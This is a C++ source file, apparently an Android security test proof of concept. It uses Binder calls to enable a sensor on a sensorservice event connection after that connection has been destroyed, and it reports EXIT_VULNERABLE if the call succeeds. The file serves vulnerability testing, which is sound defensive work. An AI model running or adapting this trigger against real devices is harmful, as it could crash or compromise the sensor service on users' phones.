/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <binder/IPCThreadState.h>
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
#include <binder/ProcessState.h>
#include <sensor/Sensor.h>
#include <stdio.h>

#include "../includes/common.h"

using namespace android;

void poc(int handle) {
    status_t err;
    sp<IServiceManager> sm = defaultServiceManager();
    String16 name(String16("sensorservice"));
    sp<IBinder> service = sm->getService(name);

    if (service) {
        Parcel data, reply;
        data.writeInterfaceToken(service->getInterfaceDescriptor());
        data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
        data.writeInt32(0 /*mode*/);
        data.writeString16(String16("com.android.systemui"));
        err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
        printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);

        sp<IBinder> binder = reply.readStrongBinder();

        if (binder) {
            {
                Parcel data, reply;
                data.writeInterfaceToken(binder->getInterfaceDescriptor());
                data.writeInt32(handle); // handle
                data.writeInt32(1);      // enabled
                data.writeInt64(0);      // samplingPeriodNs
                data.writeInt64(989680); // maxBatchReportLatencyNs
                data.writeInt32(0);      // reservedFlags
                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
                printf("ENABLE_DISABLE transact err %08x \n", err);
            }

            sleep(1);

            {
                Parcel data, reply;
                String16 name = binder->getInterfaceDescriptor();
                data.writeInterfaceToken(name);
                err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
                printf("DESTROY transact err %08x \n", err);
            }

            {
                Parcel data, reply;
                data.writeInterfaceToken(binder->getInterfaceDescriptor());
                data.writeInt32(handle); // handle
                data.writeInt32(1);      // enabled
                data.writeInt64(0);      // samplingPeriodNs
                data.writeInt64(989680); // maxBatchReportLatencyNs
                data.writeInt32(0);      // reservedFlags
                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
                if (reply.readInt32() == OK) {
                    // Success in enabling a sensor after destroy leads to
                    // security vulnerability.
                    exit(EXIT_VULNERABLE);
                }
                printf("ENABLE_DISABLE transact err %08x\n", err);
            }
        } else {
            printf("binder is null!\n");
            sleep(3);
        }
    }
}

void get_sensor_list() {
    sp<IServiceManager> sm = defaultServiceManager();
    String16 name(String16("sensorservice"));
    sp<IBinder> service = sm->getService(name);
    if (service) {
        Parcel data, reply;
        data.writeInterfaceToken(String16("android.gui.SensorServer"));
        data.writeString16(String16("opPackageName"));
        service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);

        Sensor s;
        Vector<Sensor> v;
        uint32_t n = reply.readUint32();
        v.setCapacity(n);
        while (n > 0) {
            n--;
            reply.read(s);
            v.add(s);
            String8 nm = s.getName();
            std::string nstr = nm.c_str();
            String8 vd = s.getVendor();
            std::string vstr = vd.c_str();
            int32_t handle = s.getHandle();
            printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
            poc(handle);
        }
    }
}

int main(int /* argc */, char** /* argv */) {
    get_sensor_list();
    return 0;
}
